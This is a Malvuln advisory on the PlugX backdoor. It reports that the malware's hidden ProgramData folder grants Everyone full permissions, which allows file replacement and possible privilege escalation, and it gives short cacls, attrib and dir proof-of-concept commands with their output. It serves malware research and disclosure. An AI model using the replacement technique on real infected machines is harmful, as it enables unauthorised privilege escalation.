Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source: https://malvuln.com/advisory/eeb631127f1b9fb3d13d209d8e675634.txt
Contact: malvuln13@gmail.com
Media: x.com/malvuln  

Threat: Backdoor.Win32.Plugx
Vulnerability: Insecure Permissions
Family: Plugx
Type: PE32
MD5: eeb631127f1b9fb3d13d209d8e675634
SHA256: c2804080c3f45e8232b3e955611f56c9ba513a7845ddad56a588c4191d139990
Vuln ID: MVID-2024-0686
Disclosure: 06/17/2024
Description: The PlugX malware installs a service "McAfeeOEMInfoOME" which runs as SYSTEM. It also creates a hidden directory "TaskSchedulerome" under C:\ProgramData, granting full (F) permissions to the Everyone user group. Any user can replace the PE files dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges. 

Exploit/PoC:
cacls C:\ProgramData\TaskSchedulerome\mcf.exe
ProgramData\TaskSchedulerome\mcf.exe Everyone:(OI)(CI)F

attrib -s -h C:\ProgramData\TaskSchedulerome

dir /a C:\ProgramData\TaskSchedulerome

 Directory of C:\ProgramData\TaskSchedulerome

02/10/2018  01:21 AM           116,493 mcf.ep
02/10/2018  01:21 AM           140,576 mcf.exe
02/10/2018  01:21 AM       167,776,542 mcutil.dll
               3 File(s)    168,033,611 bytes
               2 Dir(s)  67,722,203,136 bytes free


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